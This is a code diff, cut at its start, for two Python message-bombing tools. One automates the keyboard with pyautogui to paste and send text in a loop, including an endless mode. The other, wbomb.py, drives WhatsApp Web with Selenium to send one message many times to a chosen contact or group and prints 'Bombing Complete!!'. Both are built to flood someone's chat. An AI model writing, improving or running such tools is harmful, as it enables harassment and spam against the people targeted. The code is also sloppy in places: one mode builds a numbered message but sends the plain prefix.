+ system('cls||clear')
+
+ print(ry + b + "\nwait.. ")
+ sleep(0.5)
+ system('cls||clear')
+
+ print(ry + b + "\nwait...")
+ system('cls||clear')
+ for a in filew: # spam messages in file
+ sleep(inte)
+ print(rg + '%1d message send!' % (num + 1)) # print messages in screen
+ paste(a)
+ num = num + 1
+ pyautogui.press('enter')
+ print('=====process=====#file')
+ pyautogui.alert('succefuly send %2d messages!' % (le)) # result
+ elif name == '2':
+ print(rr + b)
+ print(rg + 'text: ' + rr)
+ g = input()
+ print(rg + 'num of messages(0 = inf.): ' + rr)
+ try:
+ inte = int(input("interval[sec]: "))
+
+ except:
+ error(2, inte, ver)
+ try: # errorfind
+ n = int(input())
+ except:
+
+ error(2, n, x)
+ sleep(4) # wait...
+ f = range(n)
+ system('cls||clear') # cls
+
+ print(ry + b + "\nwait. ")
+ sleep(0.5)
+ system('cls||clear')
+
+ print(ry + b + "\nwait.. ")
+ sleep(0.5)
+ system('cls||clear')
+
+ print(ry + b + "\nwait...")
+ system('cls||clear')
+
+ print('=====process=====#message')
+ print(b, '\nmessage: %1s\ntimes: %1s' % (g, n))
+ if n != 0:
+ for i in f: # spam messages
+ sleep(inte)
+ print(rg + '%1d message send!' % (i + 1)) # print messages in screen
+ paste(g)
+ pyautogui.press('enter')
+ elif n == 0:
+ r = True
+ i = 0
+ while r:
+ i = i + 1
+ sleep(inte)
+ print(rg + '%1d message send!' % (i))
+ paste(g)
+ pyautogui.press('enter')
+
+ pyautogui.alert('succefuly send %2d messages!' % n) # result
+ elif name == '3':
+ print(rr + b)
+ print(rg + 'prefix: ' + rr)
+ g = str(input())
+
+ print(rg + 'suffix: ' + rr)
+ su = str(input())
+ print(rg + 'num of messages(0 = inf.): ' + rr)
+ try:
+ inte = int(input("interval[sec]: "))
+
+ except:
+ error(2, inte, ver)
+ try: # errorfind
+ n = input()
+ n = int(n)
+ except:
+
+ error(2, n, x)
+ sleep(4) # wait...
+ f = range(n)
+ system('cls||clear') # cls
+
+ print(ry + b + "\nwait. ")
+ sleep(0.5)
+ system('cls||clear')
+
+ print(ry + b + "\nwait.. ")
+ sleep(0.5)
+ system('cls||clear')
+
+ print(ry + b + "\nwait...")
+ system('cls||clear')
+
+ print('=====process=====num_message')
+ print(b, '\nprefix: %1s\nsuffix %1s\ntimes: %1s' % (g, su, n))
+ if n != 0:
+ for i in f: # spam messages
+ sleep(inte)
+ print(rg + '%1d message send!' % (i + 1)) # print messages in screen
+ fo = ('%1s %1s %1s' %(g, str(i), su))
+ paste(g)
+ pyautogui.press('enter')
+ i = i + 1
+ elif n == 0:
+ r = True
+ i = 0
+ while r:
+ sleep(inte)
+ i = i + 1
+ print(rg + '%1d message send!' % (i))
+ fo =('%1s %1s %1s' %(g, str(i), su))
+ paste(g)
+ pyautogui.press('enter')
+
+ else:
+ error(4, name, modes)
+ elif name == '2': # credits
+ system('cls||clear') # cls
+ print(cr)
+ input()
+
+ elif name == '3': # errorlist
+ system('cls||clear') # cls
+ print(err)
+ input()
+
+ elif name == '4': # exit
+ run = False
+
+ elif name == '5': # exit
+ system('cls||clear') # cls
+ print(v)
+ input()
+ elif name == '6': # exit
+ system('cls||clear') # cls
+ print(log)
+ input()
+ else:
+ error(4, name, x)
diff --git a/wbomb.py b/wbomb.py
index fac67f1..da32c82 100644
--- a/wbomb.py
+++ b/wbomb.py
@@ -1,36 +1,41 @@
from selenium import webdriver
import os
-from webdriver_manager.chrome import ChromeDriverManager #1st changer
+from webdriver_manager.chrome import ChromeDriverManager # 1st changer
+
+
def banner():
- print('''
+ print('''
## ## ======= #### #### #### =======
\ \ #### / / # # ## ## / /\ \ / /\ \ # #
\ \ / /\ \ / / #====== ## ## / / \ \/ / \ \ #======
\ \/ / \ \/ / # # ## ## / / #### \ \ # #
#### #### ======= #### ## ## =======
''')
+
+
def main():
- driver = webdriver.Chrome(ChromeDriverManager().install()) #2nd change
- driver.get('https://web.whatsapp.com/')
+ driver = webdriver.Chrome(ChromeDriverManager().install()) # 2nd change
+ driver.get('https://web.whatsapp.com/')
- name = input('Enter the name of user or group: ')
- msg = input('Enter your message: ')
- count = int(input('Enter the count: '))
+ name = input('Enter the name of user or group: ')
+ msg = input('Enter your message: ')
+ count = int(input('Enter the count: '))
- input('Enter any key after scanning QR code')
+ input('Enter any key after scanning QR code')
+
+ user = driver.find_element_by_xpath('//span[@title = "{}"]'.format(name))
+ user.click()
+
+ # The classname of message box may vary.
+ msg_box = driver.find_element_by_xpath('/html/body/div[1]/div[1]/div[1]/div[4]/div[1]/footer/div[1]/div/div/div[2]/div[1]/div/div[2]')
+
+ for i in range(count):
+ msg_box.send_keys(msg)
+ # The classname of send button may vary.
+ button = driver.find_element_by_xpath('/html/body/div[1]/div[1]/div[1]/div[4]/div[1]/footer/div[1]/div/div/div[2]/div[2]/button')
+ button.click()
+ print('Bombing Complete!!')
- user = driver.find_element_by_xpath('//span[@title = "{}"]'.format(name))
- user.click()
-
- # The classname of message box may vary.
- msg_box = driver.find_element_by_xpath('//*[@id="main"]/footer/div[1]/div[2]/div/div[2]')
-
- for i in range(count):
- msg_box.send_keys(msg)
- # The classname of send button may vary.
- button = driver.find_element_by_xpath('//*[@id="main"]/footer/div[1]/div[3]/button')
- button.click()
- print('Bombing Complete!!')
banner()
-main()
\ No newline at end of file
+main()